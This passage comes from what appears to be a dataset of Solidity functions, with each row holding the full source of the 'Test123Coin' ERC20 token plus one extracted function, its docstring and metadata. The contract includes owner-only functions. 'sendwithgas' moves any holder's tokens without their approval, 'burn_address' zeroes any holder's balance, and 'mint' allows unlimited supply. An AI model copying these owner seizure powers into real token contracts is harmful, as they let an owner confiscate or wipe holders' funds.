* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public notFrozen(msg.sender) returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _holder The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _holder) public view returns (uint256 balance) {
return balances[_holder];
}
/**
* ERC20 Token Transfer
*/
function sendwithgas(address _from, address _to, uint256 _value, uint256 _fee) public onlyOwner notFrozen(_from) returns (bool) {
uint256 _total;
_total = _value.add(_fee);
require(!frozen[_from]);
require(_to != address(0));
require(_total <= balances[_from]);
balances[msg.sender] = balances[msg.sender].add(_fee);
balances[_from] = balances[_from].sub(_total);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
emit Transfer(_from, msg.sender, _fee);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public notFrozen(_from) returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
_transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to _spender the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an _holder allowed to a spender.
* @param _holder address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _holder, address _spender) public view returns (uint256) {
return allowed[_holder][_spender];
}
/**
* Freeze Account.
*/
function freezeAccount(address _holder) public onlyOwner returns (bool) {
require(!frozen[_holder]);
frozen[_holder] = true;
emit Freeze(_holder);
return true;
}
/**
* Unfreeze Account.
*/
function unfreezeAccount(address _holder) public onlyOwner returns (bool) {
require(frozen[_holder]);
frozen[_holder] = false;
emit Unfreeze(_holder);
return true;
}
/**
* Token Burn.
*/
function burn(uint256 _value) public onlyOwner returns (bool) {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
return true;
}
/**
* Token Address All Burn.
*/
function burn_address(address _target) public onlyOwner returns (bool){
require(_target != address(0));
uint256 _targetValue = balances[_target];
balances[_target] = 0;
totalSupply_ = totalSupply_.sub(_targetValue);
address burner = msg.sender;
emit Burn(burner, _targetValue);
return true;
}
/**
* Token Mint.
*/
function mint(uint256 _amount) public onlyOwner returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[owner] = balances[owner].add(_amount);
emit Transfer(address(0), owner, _amount);
return true;
}
/**
* @dev Internal function to determine if an address is a contract
* @param addr The address being queried
* @return True if `_addr` is a contract
*/
function isContract(address addr) internal view returns (bool) {
uint size;
assembly{size := extcodesize(addr)}
return size > 0;
}
} | transferFrom | function transferFrom(address _from, address _to, uint256 _value) public notFrozen(_from) returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
_transfer(_from, _to, _value);
return true;
}
| /**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | Unlicense | bzzr://2727cdbbdb0bc927e9d7b0e7fe879b7c1700d6ac60a63af11ab1b451dab8773e | {
"func_code_index": [
3402,
3674
]
} | 8,396 |
||
Test123Coin | Test123Coin.sol | 0x33d19f9e3e3f083ec5c2425401cc53d96e79ac3a | Solidity | Test123Coin | contract Test123Coin is ERC20, Ownable {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
uint256 internal initialSupply;
uint256 internal totalSupply_;
mapping(address => uint256) internal balances;
mapping(address => bool) public frozen;
mapping(address => mapping(address => uint256)) internal allowed;
event Burn(address indexed owner, uint256 value);
event Mint(uint256 value);
event Freeze(address indexed holder);
event Unfreeze(address indexed holder);
modifier notFrozen(address _holder) {
require(!frozen[_holder]);
_;
}
constructor() public {
name = "Test123Coin";
symbol = "TTC1";
decimals = 0;
initialSupply = 1000000000;
totalSupply_ = 1000000000;
balances[owner] = totalSupply_;
emit Transfer(address(0), owner, totalSupply_);
}
function () public payable {
revert();
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified addresses
* @param _from The address to transfer from.
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public notFrozen(msg.sender) returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _holder The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _holder) public view returns (uint256 balance) {
return balances[_holder];
}
/**
* ERC20 Token Transfer
*/
function sendwithgas(address _from, address _to, uint256 _value, uint256 _fee) public onlyOwner notFrozen(_from) returns (bool) {
uint256 _total;
_total = _value.add(_fee);
require(!frozen[_from]);
require(_to != address(0));
require(_total <= balances[_from]);
balances[msg.sender] = balances[msg.sender].add(_fee);
balances[_from] = balances[_from].sub(_total);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
emit Transfer(_from, msg.sender, _fee);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public notFrozen(_from) returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
_transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to _spender the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an _holder allowed to a spender.
* @param _holder address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _holder, address _spender) public view returns (uint256) {
return allowed[_holder][_spender];
}
/**
* Freeze Account.
*/
function freezeAccount(address _holder) public onlyOwner returns (bool) {
require(!frozen[_holder]);
frozen[_holder] = true;
emit Freeze(_holder);
return true;
}
/**
* Unfreeze Account.
*/
function unfreezeAccount(address _holder) public onlyOwner returns (bool) {
require(frozen[_holder]);
frozen[_holder] = false;
emit Unfreeze(_holder);
return true;
}
/**
* Token Burn.
*/
function burn(uint256 _value) public onlyOwner returns (bool) {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
return true;
}
/**
* Token Address All Burn.
*/
function burn_address(address _target) public onlyOwner returns (bool){
require(_target != address(0));
uint256 _targetValue = balances[_target];
balances[_target] = 0;
totalSupply_ = totalSupply_.sub(_targetValue);
address burner = msg.sender;
emit Burn(burner, _targetValue);
return true;
}
/**
* Token Mint.
*/
function mint(uint256 _amount) public onlyOwner returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[owner] = balances[owner].add(_amount);
emit Transfer(address(0), owner, _amount);
return true;
}
/**
* @dev Internal function to determine if an address is a contract
* @param addr The address being queried
* @return True if `_addr` is a contract
*/
function isContract(address addr) internal view returns (bool) {
uint size;
assembly{size := extcodesize(addr)}
return size > 0;
}
} | approve | function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
| /**
* @dev Approve the passed address to _spender the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | Unlicense | bzzr://2727cdbbdb0bc927e9d7b0e7fe879b7c1700d6ac60a63af11ab1b451dab8773e | {
"func_code_index": [
4288,
4467
]
} | 8,397 |
||
Test123Coin | Test123Coin.sol | 0x33d19f9e3e3f083ec5c2425401cc53d96e79ac3a | Solidity | Test123Coin | contract Test123Coin is ERC20, Ownable {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
uint256 internal initialSupply;
uint256 internal totalSupply_;
mapping(address => uint256) internal balances;
mapping(address => bool) public frozen;
mapping(address => mapping(address => uint256)) internal allowed;
event Burn(address indexed owner, uint256 value);
event Mint(uint256 value);
event Freeze(address indexed holder);
event Unfreeze(address indexed holder);
modifier notFrozen(address _holder) {
require(!frozen[_holder]);
_;
}
constructor() public {
name = "Test123Coin";
symbol = "TTC1";
decimals = 0;
initialSupply = 1000000000;
totalSupply_ = 1000000000;
balances[owner] = totalSupply_;
emit Transfer(address(0), owner, totalSupply_);
}
function () public payable {
revert();
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified addresses
* @param _from The address to transfer from.
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public notFrozen(msg.sender) returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _holder The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _holder) public view returns (uint256 balance) {
return balances[_holder];
}
/**
* ERC20 Token Transfer
*/
function sendwithgas(address _from, address _to, uint256 _value, uint256 _fee) public onlyOwner notFrozen(_from) returns (bool) {
uint256 _total;
_total = _value.add(_fee);
require(!frozen[_from]);
require(_to != address(0));
require(_total <= balances[_from]);
balances[msg.sender] = balances[msg.sender].add(_fee);
balances[_from] = balances[_from].sub(_total);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
emit Transfer(_from, msg.sender, _fee);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public notFrozen(_from) returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
_transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to _spender the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an _holder allowed to a spender.
* @param _holder address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _holder, address _spender) public view returns (uint256) {
return allowed[_holder][_spender];
}
/**
* Freeze Account.
*/
function freezeAccount(address _holder) public onlyOwner returns (bool) {
require(!frozen[_holder]);
frozen[_holder] = true;
emit Freeze(_holder);
return true;
}
/**
* Unfreeze Account.
*/
function unfreezeAccount(address _holder) public onlyOwner returns (bool) {
require(frozen[_holder]);
frozen[_holder] = false;
emit Unfreeze(_holder);
return true;
}
/**
* Token Burn.
*/
function burn(uint256 _value) public onlyOwner returns (bool) {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
return true;
}
/**
* Token Address All Burn.
*/
function burn_address(address _target) public onlyOwner returns (bool){
require(_target != address(0));
uint256 _targetValue = balances[_target];
balances[_target] = 0;
totalSupply_ = totalSupply_.sub(_targetValue);
address burner = msg.sender;
emit Burn(burner, _targetValue);
return true;
}
/**
* Token Mint.
*/
function mint(uint256 _amount) public onlyOwner returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[owner] = balances[owner].add(_amount);
emit Transfer(address(0), owner, _amount);
return true;
}
/**
* @dev Internal function to determine if an address is a contract
* @param addr The address being queried
* @return True if `_addr` is a contract
*/
function isContract(address addr) internal view returns (bool) {
uint size;
assembly{size := extcodesize(addr)}
return size > 0;
}
} | allowance | function allowance(address _holder, address _spender) public view returns (uint256) {
return allowed[_holder][_spender];
}
| /**
* @dev Function to check the amount of tokens that an _holder allowed to a spender.
* @param _holder address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | Unlicense | bzzr://2727cdbbdb0bc927e9d7b0e7fe879b7c1700d6ac60a63af11ab1b451dab8773e | {
"func_code_index": [
4788,
4915
]
} | 8,398 |
||
Test123Coin | Test123Coin.sol | 0x33d19f9e3e3f083ec5c2425401cc53d96e79ac3a | Solidity | Test123Coin | contract Test123Coin is ERC20, Ownable {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
uint256 internal initialSupply;
uint256 internal totalSupply_;
mapping(address => uint256) internal balances;
mapping(address => bool) public frozen;
mapping(address => mapping(address => uint256)) internal allowed;
event Burn(address indexed owner, uint256 value);
event Mint(uint256 value);
event Freeze(address indexed holder);
event Unfreeze(address indexed holder);
modifier notFrozen(address _holder) {
require(!frozen[_holder]);
_;
}
constructor() public {
name = "Test123Coin";
symbol = "TTC1";
decimals = 0;
initialSupply = 1000000000;
totalSupply_ = 1000000000;
balances[owner] = totalSupply_;
emit Transfer(address(0), owner, totalSupply_);
}
function () public payable {
revert();
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified addresses
* @param _from The address to transfer from.
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public notFrozen(msg.sender) returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _holder The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _holder) public view returns (uint256 balance) {
return balances[_holder];
}
/**
* ERC20 Token Transfer
*/
function sendwithgas(address _from, address _to, uint256 _value, uint256 _fee) public onlyOwner notFrozen(_from) returns (bool) {
uint256 _total;
_total = _value.add(_fee);
require(!frozen[_from]);
require(_to != address(0));
require(_total <= balances[_from]);
balances[msg.sender] = balances[msg.sender].add(_fee);
balances[_from] = balances[_from].sub(_total);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
emit Transfer(_from, msg.sender, _fee);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public notFrozen(_from) returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
_transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to _spender the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an _holder allowed to a spender.
* @param _holder address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _holder, address _spender) public view returns (uint256) {
return allowed[_holder][_spender];
}
/**
* Freeze Account.
*/
function freezeAccount(address _holder) public onlyOwner returns (bool) {
require(!frozen[_holder]);
frozen[_holder] = true;
emit Freeze(_holder);
return true;
}
/**
* Unfreeze Account.
*/
function unfreezeAccount(address _holder) public onlyOwner returns (bool) {
require(frozen[_holder]);
frozen[_holder] = false;
emit Unfreeze(_holder);
return true;
}
/**
* Token Burn.
*/
function burn(uint256 _value) public onlyOwner returns (bool) {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
return true;
}
/**
* Token Address All Burn.
*/
function burn_address(address _target) public onlyOwner returns (bool){
require(_target != address(0));
uint256 _targetValue = balances[_target];
balances[_target] = 0;
totalSupply_ = totalSupply_.sub(_targetValue);
address burner = msg.sender;
emit Burn(burner, _targetValue);
return true;
}
/**
* Token Mint.
*/
function mint(uint256 _amount) public onlyOwner returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[owner] = balances[owner].add(_amount);
emit Transfer(address(0), owner, _amount);
return true;
}
/**
* @dev Internal function to determine if an address is a contract
* @param addr The address being queried
* @return True if `_addr` is a contract
*/
function isContract(address addr) internal view returns (bool) {
uint size;
assembly{size := extcodesize(addr)}
return size > 0;
}
} | freezeAccount | function freezeAccount(address _holder) public onlyOwner returns (bool) {
require(!frozen[_holder]);
frozen[_holder] = true;
emit Freeze(_holder);
return true;
}
| /**
* Freeze Account.
*/ | NatSpecMultiLine | v0.4.24+commit.e67f0147 | Unlicense | bzzr://2727cdbbdb0bc927e9d7b0e7fe879b7c1700d6ac60a63af11ab1b451dab8773e | {
"func_code_index": [
4951,
5120
]
} | 8,399 |
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